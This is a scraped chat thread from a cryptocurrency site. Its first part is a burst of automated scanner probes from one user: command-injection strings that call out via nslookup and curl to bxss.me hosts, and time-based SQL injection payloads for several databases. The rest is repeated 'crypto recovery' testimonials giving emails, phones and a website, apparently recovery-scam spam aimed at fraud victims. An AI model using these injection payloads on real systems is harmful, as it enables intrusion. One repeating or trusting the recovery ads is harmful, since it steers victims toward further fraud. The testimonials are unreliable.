  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация
Есть вопросы?
С вами на связи 24/7
Help Icon